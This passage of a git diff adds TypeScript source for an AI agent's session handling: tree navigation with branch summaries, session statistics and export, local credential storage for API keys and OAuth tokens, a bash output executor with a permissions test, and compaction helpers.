+ } + + // ========================================================================= + // Tree Navigation + // ========================================================================= + + /** + * Navigate to a different node in the session tree. + * Unlike fork() which creates a new session file, this stays in the same file. + * + * @param targetId The entry ID to navigate to + * @param options.summarize Whether user wants to summarize abandoned branch + * @param options.customInstructions Custom instructions for summarizer + * @param options.replaceInstructions If true, customInstructions replaces the default prompt + * @param options.label Label to attach to the branch summary entry + * @returns Result with editorText (if user message) and cancelled status + */ + async navigateTree( + targetId: string, + options: { + summarize?: boolean; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; + } = {}, + ): Promise<{ + editorText?: string; + cancelled: boolean; + aborted?: boolean; + summaryEntry?: BranchSummaryEntry; + }> { + const oldLeafId = this.sessionManager.getLeafId(); + + // No-op if already at target + if (targetId === oldLeafId) { + return { cancelled: false }; + } + + // Model required for summarization + if (options.summarize && !this.model) { + throw new Error("No model available for summarization"); + } + + const targetEntry = this.sessionManager.getEntry(targetId); + if (!targetEntry) { + throw new Error(`Entry ${targetId} not found`); + } + + // Collect entries to summarize (from old leaf to common ancestor) + const { entries: entriesToSummarize, commonAncestorId } = oldLeafId + ? collectEntriesForBranchSummaryFromBranches( + this.sessionManager.getBranch(oldLeafId), + this.sessionManager.getBranch(targetId), + ) + : { entries: [], commonAncestorId: null }; + + // Prepare event data - mutable so extensions can override + let customInstructions = options.customInstructions; + let replaceInstructions = options.replaceInstructions; + let label = options.label; + + const preparation: TreePreparation = { + targetId, + oldLeafId, + commonAncestorId, + entriesToSummarize, + userWantsSummary: options.summarize ?? false, + customInstructions, + replaceInstructions, + label, + }; + + // Set up abort controller for summarization + this.branchSummaryAbortController = new AbortController(); + + try { + let extensionSummary: { summary: string; details?: unknown } | undefined; + let fromExtension = false; + + // Emit session_before_tree event + if (this.currentExtensionRunner.hasHandlers("session_before_tree")) { + const result = await this.currentExtensionRunner.emit({ + type: "session_before_tree", + preparation, + signal: this.branchSummaryAbortController.signal, + }); + + if (result?.cancel) { + return { cancelled: true }; + } + + if (result?.summary && options.summarize) { + extensionSummary = result.summary; + fromExtension = true; + } + + // Allow extensions to override instructions and label + if (result?.customInstructions !== undefined) { + customInstructions = result.customInstructions; + } + if (result?.replaceInstructions !== undefined) { + replaceInstructions = result.replaceInstructions; + } + if (result?.label !== undefined) { + label = result.label; + } + } + + // Run default summarizer if needed + let summaryText: string | undefined; + let summaryDetails: unknown; + if (options.summarize && entriesToSummarize.length > 0 && !extensionSummary) { + const model = this.model!; + const { apiKey, headers } = await this.getRequiredRequestAuth(model); + const branchSummarySettings = this.settingsManager.getBranchSummarySettings(); + const result = normalizeBranchSummaryResult( + await generateBranchSummary(entriesToSummarize, { + model, + apiKey, + headers, + signal: this.branchSummaryAbortController.signal, + customInstructions, + replaceInstructions, + reserveTokens: branchSummarySettings.reserveTokens, + streamFn: this.agent.streamFn, + }), + ); + if (result.aborted) { + return { cancelled: true, aborted: true }; + } + if (result.error) { + throw new Error(result.error); + } + summaryText = result.summary; + summaryDetails = { + readFiles: result.readFiles || [], + modifiedFiles: result.modifiedFiles || [], + }; + } else if (extensionSummary) { + summaryText = extensionSummary.summary; + summaryDetails = extensionSummary.details; + } + + // Determine the new leaf position based on target type + let newLeafId: string | null; + let editorText: string | undefined; + + if (targetEntry.type === "message" && targetEntry.message.role === "user") { + // User message: leaf = parent (null if root), text goes to editor + newLeafId = targetEntry.parentId; + editorText = this.extractUserMessageText(targetEntry.message.content); + } else if (targetEntry.type === "custom_message") { + // Custom message: leaf = parent (null if root), text goes to editor + newLeafId = targetEntry.parentId; + editorText = + typeof targetEntry.content === "string" + ? targetEntry.content + : targetEntry.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join(""); + } else { + // Non-user message: leaf = selected node + newLeafId = targetId; + } + + // Switch leaf (with or without summary) + // Summary is attached at the navigation target position (newLeafId), not the old branch + let summaryEntry: BranchSummaryEntry | undefined; + if (summaryText) { + // Create summary at target position (can be null for root) + const summaryId = this.sessionManager.branchWithSummary( + newLeafId, + summaryText, + summaryDetails, + fromExtension, + ); + summaryEntry = this.sessionManager.getEntry(summaryId) as BranchSummaryEntry; + + // Attach label to the summary entry + if (label) { + this.sessionManager.appendLabelChange(summaryId, label); + } + } else if (newLeafId === null) { + // No summary, navigating to root - reset leaf + this.sessionManager.resetLeaf(); + } else { + // No summary, navigating to non-root + this.sessionManager.branch(newLeafId); + } + + // Attach label to target entry when not summarizing (no summary entry to label) + if (label && !summaryText) { + this.sessionManager.appendLabelChange(targetId, label); + } + + // Update agent state + const sessionContext = this.sessionManager.buildSessionContext(); + this.agent.state.messages = sessionContext.messages; + + // Emit session_tree event + await this.currentExtensionRunner.emit({ + type: "session_tree", + newLeafId: this.sessionManager.getLeafId(), + oldLeafId, + summaryEntry, + fromExtension: summaryText ? fromExtension : undefined, + }); + + // Emit to custom tools + + return { editorText, cancelled: false, summaryEntry }; + } finally { + this.branchSummaryAbortController = undefined; + } + } + + /** + * Get all user messages from session for fork selector. + */ + getUserMessagesForForking(): Array<{ entryId: string; text: string }> { + const entries = this.sessionManager.getEntries(); + const result: Array<{ entryId: string; text: string }> = []; + + for (const entry of entries) { + if (entry.type !== "message") { + continue; + } + if (entry.message.role !== "user") { + continue; + } + + const text = this.extractUserMessageText(entry.message.content); + if (text) { + result.push({ entryId: entry.id, text }); + } + } + + return result; + } + + private extractUserMessageText(content: string | Array<{ type: string; text?: string }>): string { + if (typeof content === "string") { + return content; + } + if (Array.isArray(content)) { + return content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map((c) => c.text) + .join(""); + } + return ""; + } + + /** + * Get session statistics. + */ + getSessionStats(): SessionStats { + const state = this.state; + const userMessages = state.messages.filter((m) => m.role === "user").length; + const assistantMessages = state.messages.filter((m) => m.role === "assistant").length; + const toolResults = state.messages.filter((m) => m.role === "toolResult").length; + + let toolCalls = 0; + let totalInput = 0; + let totalOutput = 0; + let totalCacheRead = 0; + let totalCacheWrite = 0; + let totalCost = 0; + + for (const message of state.messages) { + if (message.role === "assistant") { + const assistantMsg = message; + toolCalls += assistantMsg.content.filter((c) => c.type === "toolCall").length; + totalInput += assistantMsg.usage.input; + totalOutput += assistantMsg.usage.output; + totalCacheRead += assistantMsg.usage.cacheRead; + totalCacheWrite += assistantMsg.usage.cacheWrite; + totalCost += assistantMsg.usage.cost.total; + } + } + + return { + sessionFile: this.sessionFile, + sessionId: this.sessionId, + userMessages, + assistantMessages, + toolCalls, + toolResults, + totalMessages: state.messages.length, + tokens: { + input: totalInput, + output: totalOutput, + cacheRead: totalCacheRead, + cacheWrite: totalCacheWrite, + total: totalInput + totalOutput + totalCacheRead + totalCacheWrite, + }, + cost: totalCost, + contextUsage: this.getContextUsage(), + }; + } + + getContextUsage(): ContextUsage | undefined { + const model = this.model; + if (!model) { + return undefined; + } + + const contextWindow = model.contextWindow ?? 0; + if (contextWindow <= 0) { + return undefined; + } + + // After compaction, the last assistant usage reflects pre-compaction context size. + // We can only trust usage from an assistant that responded after the latest compaction. + // If no such assistant exists, context token count is unknown until the next LLM response. + const branchEntries = this.sessionManager.getBranch(); + const latestCompaction = getLatestCompactionEntry(branchEntries); + + if (latestCompaction) { + // Check if there's a valid assistant usage after the compaction boundary + const compactionIndex = branchEntries.lastIndexOf(latestCompaction); + let hasPostCompactionUsage = false; + for (let i = branchEntries.length - 1; i > compactionIndex; i--) { + const entry = branchEntries[i]; + if (entry.type === "message" && entry.message.role === "assistant") { + const assistant = entry.message; + if (assistant.stopReason !== "aborted" && assistant.stopReason !== "error") { + const contextTokens = calculateContextTokens(assistant.usage); + if (contextTokens > 0) { + hasPostCompactionUsage = true; + } + break; + } + } + } + + if (!hasPostCompactionUsage) { + return { tokens: null, contextWindow, percent: null }; + } + } + + const estimate = estimateContextTokens(this.messages); + const percent = (estimate.tokens / contextWindow) * 100; + + return { + tokens: estimate.tokens, + contextWindow, + percent, + }; + } + + /** + * @deprecated Use the OpenClaw session export command instead. + * @param outputPath Optional output path (defaults to session directory) + * @returns Path to exported file + */ + async exportToHtml(_outputPath?: string): Promise { + throw new Error( + "AgentSession.exportToHtml is deprecated; use the OpenClaw session export command.", + ); + } + + /** + * Export the current session branch to a JSONL file. + * Writes the session header followed by all entries on the current branch path. + * @param outputPath Target file path. If omitted, generates a timestamped file in cwd. + * @returns The resolved output file path. + */ + exportToJsonl(outputPath?: string): string { + const filePath = resolve( + outputPath ?? `session-${new Date().toISOString().replace(/[:.]/g, "-")}.jsonl`, + ); + const dir = dirname(filePath); + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true }); + } + + const header: SessionHeader = { + type: "session", + version: CURRENT_SESSION_VERSION, + id: this.sessionManager.getSessionId(), + timestamp: new Date().toISOString(), + cwd: this.sessionManager.getCwd(), + }; + + const branchEntries = this.sessionManager.getBranch(); + const lines = [JSON.stringify(header)]; + + // Re-chain parentIds to form a linear sequence + let prevId: string | null = null; + for (const entry of branchEntries) { + const linear = { ...entry, parentId: prevId }; + lines.push(JSON.stringify(linear)); + prevId = entry.id; + } + + writeFileSync(filePath, `${lines.join("\n")}\n`); + return filePath; + } + + // ========================================================================= + // Utilities + // ========================================================================= + + /** + * Get text content of last assistant message. + * Useful for /copy command. + * @returns Text content, or undefined if no assistant message exists + */ + getLastAssistantText(): string | undefined { + const lastAssistant = this.messages + .slice() + .toReversed() + .find((m) => { + if (m.role !== "assistant") { + return false; + } + const msg = m; + // Skip aborted messages with no content + if (msg.stopReason === "aborted" && msg.content.length === 0) { + return false; + } + return true; + }); + + if (!lastAssistant) { + return undefined; + } + + let text = ""; + for (const content of (lastAssistant as AssistantMessage).content) { + if (content.type === "text") { + text += content.text; + } + } + + return text.trim() || undefined; + } + + // ========================================================================= + // Extension System + // ========================================================================= + + createReplacedSessionContext(): ReplacedSessionContext { + const context = Object.defineProperties( + {}, + Object.getOwnPropertyDescriptors(this.currentExtensionRunner.createCommandContext()), + ) as ReplacedSessionContext; + context.sendMessage = (message, options) => this.sendCustomMessage(message, options); + context.sendUserMessage = (content, options) => this.sendUserMessage(content, options); + return context; + } + + /** + * Check if extensions have handlers for a specific event type. + */ + hasExtensionHandlers(eventType: string): boolean { + return this.currentExtensionRunner.hasHandlers(eventType); + } + + /** + * Get the extension runner (for setting UI context and error handlers). + */ + get extensionRunner(): ExtensionRunner { + return this.currentExtensionRunner; + } +} diff --git a/src/agents/sessions/auth-guidance.ts b/src/agents/sessions/auth-guidance.ts new file mode 100644 index 00000000000..31049c76ede --- /dev/null +++ b/src/agents/sessions/auth-guidance.ts @@ -0,0 +1,25 @@ +import { join } from "node:path"; +import { getDocsPath } from "../config.js"; + +const UNKNOWN_PROVIDER = "unknown"; + +export function getProviderLoginHelp(): string { + return [ + "Use /login to log into a provider via OAuth or API key. See:", + ` ${join(getDocsPath(), "providers.md")}`, + ` ${join(getDocsPath(), "models.md")}`, + ].join("\n"); +} + +export function formatNoModelsAvailableMessage(): string { + return `No models available. ${getProviderLoginHelp()}`; +} + +export function formatNoModelSelectedMessage(): string { + return `No model selected.\n\n${getProviderLoginHelp()}\n\nThen use /model to select a model.`; +} + +export function formatNoApiKeyFoundMessage(provider: string): string { + const providerDisplay = provider === UNKNOWN_PROVIDER ? "the selected model" : provider; + return `No API key found for ${providerDisplay}.\n\n${getProviderLoginHelp()}`; +} diff --git a/src/agents/sessions/auth-storage.ts b/src/agents/sessions/auth-storage.ts new file mode 100644 index 00000000000..445256de6a9 --- /dev/null +++ b/src/agents/sessions/auth-storage.ts @@ -0,0 +1,554 @@ +/** + * Credential storage for API keys and OAuth tokens. + * Handles loading, saving, and refreshing credentials from auth.json. + * + * Uses file locking to prevent race conditions when multiple agent sessions + * try to refresh tokens simultaneously. + */ + +import { chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import lockfile from "proper-lockfile"; +import { findEnvKeys, getEnvApiKey } from "../../llm/env-api-keys.js"; +import { + getOAuthApiKey, + getOAuthProvider, + getOAuthProviders, +} from "../../llm/utils/oauth/index.js"; +import type { + OAuthCredentials, + OAuthLoginCallbacks, + OAuthProviderId, +} from "../../llm/utils/oauth/types.js"; +import { getAgentDir } from "../config.js"; +import { resolveConfigValue } from "./resolve-config-value.js"; + +export type ApiKeyCredential = { + type: "api_key"; + key: string; +}; + +export type OAuthCredential = { + type: "oauth"; +} & OAuthCredentials; + +export type AuthCredential = ApiKeyCredential | OAuthCredential; + +export type AuthStorageData = Record; + +export type AuthStatus = { + configured: boolean; + source?: + | "stored" + | "runtime" + | "environment" + | "fallback" + | "models_json_key" + | "models_json_command"; + label?: string; +}; + +type LockResult = { + result: T; + next?: string; +}; + +export interface AuthStorageBackend { + withLock(fn: (current: string | undefined) => LockResult): T; + withLockAsync(fn: (current: string | undefined) => Promise>): Promise; +} + +export class FileAuthStorageBackend implements AuthStorageBackend { + private authPath: string; + + constructor(authPath: string = join(getAgentDir(), "auth.json")) { + this.authPath = authPath; + } + + private ensureParentDir(): void { + const dir = dirname(this.authPath); + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true, mode: 0o700 }); + } + } + + private ensureFileExists(): void { + if (!existsSync(this.authPath)) { + writeFileSync(this.authPath, "{}", "utf-8"); + chmodSync(this.authPath, 0o600); + } + } + + private acquireLockSyncWithRetry(path: string): () => void { + const maxAttempts = 10; + const delayMs = 20; + let lastError: unknown; + + for (let attempt = 1; attempt <= maxAttempts; attempt++) { + try { + return lockfile.lockSync(path, { realpath: false }); + } catch (error) { + const code = + typeof error === "object" && error !== null && "code" in error + ? String((error as { code?: unknown }).code) + : undefined; + if (code !== "ELOCKED" || attempt === maxAttempts) { + throw error; + } + lastError = error; + const start = Date.now(); + while (Date.now() - start < delayMs) { + // Sleep synchronously to avoid changing callers to async. + } + } + } + + throw (lastError as Error) ?? new Error("Failed to acquire auth storage lock"); + } + + withLock(fn: (current: string | undefined) => LockResult): T { + this.ensureParentDir(); + this.ensureFileExists(); + + let release: (() => void) | undefined; + try { + release = this.acquireLockSyncWithRetry(this.authPath); + const current = existsSync(this.authPath) ? readFileSync(this.authPath, "utf-8") : undefined; + const { result, next } = fn(current); + if (next !== undefined) { + writeFileSync(this.authPath, next, "utf-8"); + chmodSync(this.authPath, 0o600); + } + return result; + } finally { + if (release) { + release(); + } + } + } + + async withLockAsync(fn: (current: string | undefined) => Promise>): Promise { + this.ensureParentDir(); + this.ensureFileExists(); + + let release: (() => Promise) | undefined; + let lockCompromised = false; + let lockCompromisedError: Error | undefined; + const throwIfCompromised = () => { + if (lockCompromised) { + throw lockCompromisedError ?? new Error("Auth storage lock was compromised"); + } + }; + + try { + release = await lockfile.lock(this.authPath, { + retries: { + retries: 10, + factor: 2, + minTimeout: 100, + maxTimeout: 10000, + randomize: true, + }, + stale: 30000, + onCompromised: (err) => { + lockCompromised = true; + lockCompromisedError = err; + }, + }); + + throwIfCompromised(); + const current = existsSync(this.authPath) ? readFileSync(this.authPath, "utf-8") : undefined; + const { result, next } = await fn(current); + throwIfCompromised(); + if (next !== undefined) { + writeFileSync(this.authPath, next, "utf-8"); + chmodSync(this.authPath, 0o600); + } + throwIfCompromised(); + return result; + } finally { + if (release) { + try { + await release(); + } catch { + // Ignore unlock errors when lock is compromised. + } + } + } + } +} + +export class InMemoryAuthStorageBackend implements AuthStorageBackend { + private value: string | undefined; + + withLock(fn: (current: string | undefined) => LockResult): T { + const { result, next } = fn(this.value); + if (next !== undefined) { + this.value = next; + } + return result; + } + + async withLockAsync(fn: (current: string | undefined) => Promise>): Promise { + const { result, next } = await fn(this.value); + if (next !== undefined) { + this.value = next; + } + return result; + } +} + +/** + * Credential storage backed by a JSON file. + */ +export class AuthStorage { + private data: AuthStorageData = {}; + private runtimeOverrides: Map = new Map(); + private fallbackResolver?: (provider: string) => string | undefined; + private loadError: Error | null = null; + private errors: Error[] = []; + private storage: AuthStorageBackend; + + private constructor(storage: AuthStorageBackend) { + this.storage = storage; + this.reload(); + } + + static create(authPath?: string): AuthStorage { + return new AuthStorage( + new FileAuthStorageBackend(authPath ?? join(getAgentDir(), "auth.json")), + ); + } + + static fromStorage(storage: AuthStorageBackend): AuthStorage { + return new AuthStorage(storage); + } + + static inMemory(data: AuthStorageData = {}): AuthStorage { + const storage = new InMemoryAuthStorageBackend(); + storage.withLock(() => ({ result: undefined, next: JSON.stringify(data, null, 2) })); + return AuthStorage.fromStorage(storage); + } + + /** + * Set a runtime API key override (not persisted to disk). + * Used for CLI --api-key flag. + */ + setRuntimeApiKey(provider: string, apiKey: string): void { + this.runtimeOverrides.set(provider, apiKey); + } + + /** + * Remove a runtime API key override. + */ + removeRuntimeApiKey(provider: string): void { + this.runtimeOverrides.delete(provider); + } + + /** + * Set a fallback resolver for API keys not found in auth.json or env vars. + * Used for custom provider keys from models.json. + */ + setFallbackResolver(resolver: (provider: string) => string | undefined): void { + this.fallbackResolver = resolver; + } + + private recordError(error: unknown): void { + const normalizedError = error instanceof Error ? error : new Error(String(error)); + this.errors.push(normalizedError); + } + + private parseStorageData(content: string | undefined): AuthStorageData { + if (!content) { + return {}; + } + return JSON.parse(content) as AuthStorageData; + } + + /** + * Reload credentials from storage. + */ + reload(): void { + let content: string | undefined; + try { + this.storage.withLock((current) => { + content = current; + return { result: undefined }; + }); + this.data = this.parseStorageData(content); + this.loadError = null; + } catch (error) { + this.loadError = error as Error; + this.recordError(error); + } + } + + private persistProviderChange(provider: string, credential: AuthCredential | undefined): void { + if (this.loadError) { + return; + } + + try { + this.storage.withLock((current) => { + const currentData = this.parseStorageData(current); + const merged: AuthStorageData = { ...currentData }; + if (credential) { + merged[provider] = credential; + } else { + delete merged[provider]; + } + return { result: undefined, next: JSON.stringify(merged, null, 2) }; + }); + } catch (error) { + this.recordError(error); + } + } + + /** + * Get credential for a provider. + */ + get(provider: string): AuthCredential | undefined { + return this.data[provider] ?? undefined; + } + + /** + * Set credential for a provider. + */ + set(provider: string, credential: AuthCredential): void { + this.data[provider] = credential; + this.persistProviderChange(provider, credential); + } + + /** + * Remove credential for a provider. + */ + remove(provider: string): void { + delete this.data[provider]; + this.persistProviderChange(provider, undefined); + } + + /** + * List all providers with credentials. + */ + list(): string[] { + return Object.keys(this.data); + } + + /** + * Check if credentials exist for a provider in auth.json. + */ + has(provider: string): boolean { + return provider in this.data; + } + + /** + * Check if any form of auth is configured for a provider. + * Unlike getApiKey(), this doesn't refresh OAuth tokens. + */ + hasAuth(provider: string): boolean { + if (this.runtimeOverrides.has(provider)) { + return true; + } + if (this.data[provider]) { + return true; + } + if (getEnvApiKey(provider)) { + return true; + } + if (this.fallbackResolver?.(provider)) { + return true; + } + return false; + } + + /** + * Return auth status without exposing credential values or refreshing tokens. + */ + getAuthStatus(provider: string): AuthStatus { + if (this.data[provider]) { + return { configured: true, source: "stored" }; + } + + if (this.runtimeOverrides.has(provider)) { + return { configured: false, source: "runtime", label: "--api-key" }; + } + + const envKeys = findEnvKeys(provider); + if (envKeys?.[0]) { + return { configured: false, source: "environment", label: envKeys[0] }; + } + + if (this.fallbackResolver?.(provider)) { + return { configured: false, source: "fallback", label: "custom provider config" }; + } + + return { configured: false }; + } + + /** + * Get all credentials (for passing to getOAuthApiKey). + */ + getAll(): AuthStorageData { + return { ...this.data }; + } + + drainErrors(): Error[] { + const drained = [...this.errors]; + this.errors = []; + return drained; + } + + /** + * Login to an OAuth provider. + */ + async login(providerId: OAuthProviderId, callbacks: OAuthLoginCallbacks): Promise { + const provider = getOAuthProvider(providerId); + if (!provider) { + throw new Error(`Unknown OAuth provider: ${providerId}`); + } + + const credentials = await provider.login(callbacks); + this.set(providerId, { type: "oauth", ...credentials }); + } + + /** + * Logout from a provider. + */ + logout(provider: string): void { + this.remove(provider); + } + + /** + * Refresh OAuth token with backend locking to prevent race conditions. + * Multiple agent sessions may try to refresh simultaneously when tokens expire. + */ + private async refreshOAuthTokenWithLock( + providerId: OAuthProviderId, + ): Promise<{ apiKey: string; newCredentials: OAuthCredentials } | null> { + const provider = getOAuthProvider(providerId); + if (!provider) { + return null; + } + + const result = await this.storage.withLockAsync(async (current) => { + const currentData = this.parseStorageData(current); + this.data = currentData; + this.loadError = null; + + const cred = currentData[providerId]; + if (cred?.type !== "oauth") { + return { result: null }; + } + + if (Date.now() < cred.expires) { + return { result: { apiKey: provider.getApiKey(cred), newCredentials: cred } }; + } + + const oauthCreds: Record = {}; + for (const [key, value] of Object.entries(currentData)) { + if (value.type === "oauth") { + oauthCreds[key] = value; + } + } + + const refreshed = await getOAuthApiKey(providerId, oauthCreds); + if (!refreshed) { + return { result: null }; + } + + const merged: AuthStorageData = { + ...currentData, + [providerId]: { type: "oauth", ...refreshed.newCredentials }, + }; + this.data = merged; + this.loadError = null; + return { result: refreshed, next: JSON.stringify(merged, null, 2) }; + }); + + return result; + } + + /** + * Get API key for a provider. + * Priority: + * 1. Runtime override (CLI --api-key) + * 2. API key from auth.json + * 3. OAuth token from auth.json (auto-refreshed with locking) + * 4. Environment variable + * 5. Fallback resolver (models.json custom providers) + */ + async getApiKey( + providerId: string, + options?: { includeFallback?: boolean }, + ): Promise { + // Runtime override takes highest priority + const runtimeKey = this.runtimeOverrides.get(providerId); + if (runtimeKey) { + return runtimeKey; + } + + const cred = this.data[providerId]; + + if (cred?.type === "api_key") { + return resolveConfigValue(cred.key); + } + + if (cred?.type === "oauth") { + const provider = getOAuthProvider(providerId); + if (!provider) { + // Unknown OAuth provider, can't get API key + return undefined; + } + + // Check if token needs refresh + const needsRefresh = Date.now() >= cred.expires; + + if (needsRefresh) { + // Use locked refresh to prevent race conditions + try { + const result = await this.refreshOAuthTokenWithLock(providerId); + if (result) { + return result.apiKey; + } + } catch (error) { + this.recordError(error); + // Refresh failed - re-read file to check if another instance succeeded + this.reload(); + const updatedCred = this.data[providerId]; + + if (updatedCred?.type === "oauth" && Date.now() < updatedCred.expires) { + // Another instance refreshed successfully, use those credentials + return provider.getApiKey(updatedCred); + } + + // Refresh truly failed - return undefined so model discovery skips this provider + // User can /login to re-authenticate (credentials preserved for retry) + return undefined; + } + } else { + // Token not expired, use current access token + return provider.getApiKey(cred); + } + } + + // Fall back to environment variable + const envKey = getEnvApiKey(providerId); + if (envKey) { + return envKey; + } + + // Fall back to custom resolver (e.g., models.json custom providers) + if (options?.includeFallback !== false) { + return this.fallbackResolver?.(providerId) ?? undefined; + } + + return undefined; + } + + /** + * Get all registered OAuth providers + */ + getOAuthProviders() { + return getOAuthProviders(); + } +} diff --git a/src/agents/sessions/bash-executor.test.ts b/src/agents/sessions/bash-executor.test.ts new file mode 100644 index 00000000000..09c0f3e89ac --- /dev/null +++ b/src/agents/sessions/bash-executor.test.ts @@ -0,0 +1,23 @@ +import { rm, stat } from "node:fs/promises"; +import { describe, expect, it } from "vitest"; +import { executeBashWithOperations } from "./bash-executor.js"; +import type { BashOperations } from "./tools/bash-operations.js"; + +describe("executeBashWithOperations", () => { + it("stores truncated full output in an owner-only temp file", async () => { + const operations: BashOperations = { + exec: async (_command, _cwd, options) => { + options.onData(Buffer.from("secret output\n".repeat(9000))); + return { exitCode: 0 }; + }, + }; + + const result = await executeBashWithOperations("echo secret", "/tmp", operations); + + expect(result.truncated).toBe(true); + expect(result.fullOutputPath).toBeDefined(); + const mode = (await stat(result.fullOutputPath!)).mode & 0o777; + expect(mode & 0o077).toBe(0); + await rm(result.fullOutputPath!, { force: true }); + }); +}); diff --git a/src/agents/sessions/bash-executor.ts b/src/agents/sessions/bash-executor.ts new file mode 100644 index 00000000000..cd9a31a46fc --- /dev/null +++ b/src/agents/sessions/bash-executor.ts @@ -0,0 +1,172 @@ +/** + * Bash command execution with streaming support and cancellation. + * + * This module provides a unified bash execution implementation used by: + * - AgentSession.executeBash() for interactive and RPC modes + * - Direct calls from modes that need bash execution + */ + +import type { WriteStream } from "node:fs"; +import { stripAnsi } from "../utils/ansi.js"; +import { sanitizeBinaryOutput } from "../utils/shell.js"; +import type { BashOperations } from "./tools/bash-operations.js"; +import { createPrivateTempWriteStream } from "./tools/private-temp-file.js"; +import { DEFAULT_MAX_BYTES, truncateTail } from "./tools/truncate.js"; + +// ============================================================================ +// Types +// ============================================================================ + +export interface BashExecutorOptions { + /** Callback for streaming output chunks (already sanitized) */ + onChunk?: (chunk: string) => void; + /** AbortSignal for cancellation */ + signal?: AbortSignal; +} + +export interface BashResult { + /** Combined stdout + stderr output (sanitized, possibly truncated) */ + output: string; + /** Process exit code (undefined if killed/cancelled) */ + exitCode: number | undefined; + /** Whether the command was cancelled via signal */ + cancelled: boolean; + /** Whether the output was truncated */ + truncated: boolean; + /** Path to temp file containing full output (if output exceeded truncation threshold) */ + fullOutputPath?: string; +} + +// ============================================================================ +// Implementation +// ============================================================================ + +/** + * Execute a bash command using custom BashOperations. + * Used for remote execution (SSH, containers, etc.). + */ +export async function executeBashWithOperations( + command: string, + cwd: string, + operations: BashOperations, + options?: BashExecutorOptions, +): Promise { + const outputChunks: string[] = []; + let outputBytes = 0; + const maxOutputBytes = DEFAULT_MAX_BYTES * 2; + + let tempFilePath: string | undefined; + let tempFileStream: WriteStream | undefined; + let totalBytes = 0; + + const ensureTempFile = () => { + if (tempFilePath) { + return; + } + const tempFile = createPrivateTempWriteStream("openclaw-bash"); + tempFilePath = tempFile.path; + tempFileStream = tempFile.stream; + for (const chunk of outputChunks) { + tempFileStream.write(chunk); + } + }; + + const closeTempFile = async () => { + if (!tempFileStream) { + return; + } + const stream = tempFileStream; + tempFileStream = undefined; + await new Promise((resolve, reject) => { + const onError = (error: Error) => { + stream.off("finish", onFinish); + reject(error); + }; + const onFinish = () => { + stream.off("error", onError); + resolve(); + }; + stream.once("error", onError); + stream.once("finish", onFinish); + stream.end(); + }); + }; + + const decoder = new TextDecoder(); + + const onData = (data: Buffer) => { + totalBytes += data.length; + + // Sanitize: strip ANSI, replace binary garbage, normalize newlines + const text = sanitizeBinaryOutput(stripAnsi(decoder.decode(data, { stream: true }))).replace( + /\r/g, + "", + ); + + // Start writing to temp file if exceeds threshold + if (totalBytes > DEFAULT_MAX_BYTES) { + ensureTempFile(); + } + + if (tempFileStream) { + tempFileStream.write(text); + } + + // Keep rolling buffer + outputChunks.push(text); + outputBytes += text.length; + while (outputBytes > maxOutputBytes && outputChunks.length > 1) { + const removed = outputChunks.shift()!; + outputBytes -= removed.length; + } + + // Stream to callback + if (options?.onChunk) { + options.onChunk(text); + } + }; + + try { + const result = await operations.exec(command, cwd, { + onData, + signal: options?.signal, + }); + + const fullOutput = outputChunks.join(""); + const truncationResult = truncateTail(fullOutput); + if (truncationResult.truncated) { + ensureTempFile(); + } + await closeTempFile(); + const cancelled = options?.signal?.aborted ?? false; + + return { + output: truncationResult.truncated ? truncationResult.content : fullOutput, + exitCode: cancelled ? undefined : (result.exitCode ?? undefined), + cancelled, + truncated: truncationResult.truncated, + fullOutputPath: tempFilePath, + }; + } catch (err) { + // Check if it was an abort + if (options?.signal?.aborted) { + const fullOutput = outputChunks.join(""); + const truncationResult = truncateTail(fullOutput); + if (truncationResult.truncated) { + ensureTempFile(); + } + await closeTempFile(); + return { + output: truncationResult.truncated ? truncationResult.content : fullOutput, + exitCode: undefined, + cancelled: true, + truncated: truncationResult.truncated, + fullOutputPath: tempFilePath, + }; + } + + await closeTempFile(); + + throw err; + } +} diff --git a/src/agents/sessions/compaction/branch-summarization.ts b/src/agents/sessions/compaction/branch-summarization.ts new file mode 100644 index 00000000000..23182d93e53 --- /dev/null +++ b/src/agents/sessions/compaction/branch-summarization.ts @@ -0,0 +1,68 @@ +import type { Model } from "../../../llm/types.js"; +import { + collectEntriesForBranchSummaryFromBranches, + generateBranchSummary as generateBranchSummaryCore, + openClawAgentCoreRuntime, + prepareBranchEntries, + type BranchPreparation, + type BranchSummaryDetails, + type FileOperations, +} from "../../runtime/index.js"; +import type { SessionEntry, ReadonlySessionManager } from "../session-manager.js"; + +export type { BranchPreparation, BranchSummaryDetails, FileOperations }; +export { prepareBranchEntries }; + +export interface CollectEntriesResult { + entries: SessionEntry[]; + commonAncestorId: string | null; +} + +export interface BranchSummaryResult { + summary?: string; + readFiles?: string[]; + modifiedFiles?: string[]; + aborted?: boolean; + error?: string; +} + +export interface GenerateBranchSummaryOptions { + model: Model; + apiKey: string; + headers?: Record; + signal: AbortSignal; + customInstructions?: string; + replaceInstructions?: boolean; + reserveTokens?: number; +} + +export function collectEntriesForBranchSummary( + session: ReadonlySessionManager, + oldLeafId: string | null, + targetId: string, +): CollectEntriesResult { + if (!oldLeafId) { + return { entries: [], commonAncestorId: null }; + } + + const oldBranch = session.getBranch(oldLeafId); + const targetPath = session.getBranch(targetId); + return collectEntriesForBranchSummaryFromBranches(oldBranch, targetPath); +} + +export async function generateBranchSummary( + entries: SessionEntry[], + options: GenerateBranchSummaryOptions, +): Promise { + const result = await generateBranchSummaryCore(entries, { + runtime: openClawAgentCoreRuntime, + ...options, + }); + if (result.ok) { + return result.value; + } + if (result.error.code === "aborted") { + return { aborted: true, error: result.error.message }; + } + return { error: result.error.message }; +} diff --git a/src/agents/sessions/compaction/compaction.ts b/src/agents/sessions/compaction/compaction.ts new file mode 100644 index 00000000000..d868c379d16 --- /dev/null +++ b/src/agents/sessions/compaction/compaction.ts @@ -0,0 +1,110 @@ +import type { StreamFn as CoreStreamFn } from "../../../../packages/agent-core/src/llm.js"; +import type { Model } from "../../../llm/types.js"; +import { + calculateContextTokens, + compact as compactCore, + DEFAULT_COMPACTION_SETTINGS, + estimateContextTokens, + estimateTokens, + findCutPoint, + findTurnStartIndex, + generateSummary as generateSummaryCore, + getLastAssistantUsage, + prepareCompaction as prepareCompactionCore, + serializeConversation, + shouldCompact, + openClawAgentCoreRuntime, + type CompactionDetails, + 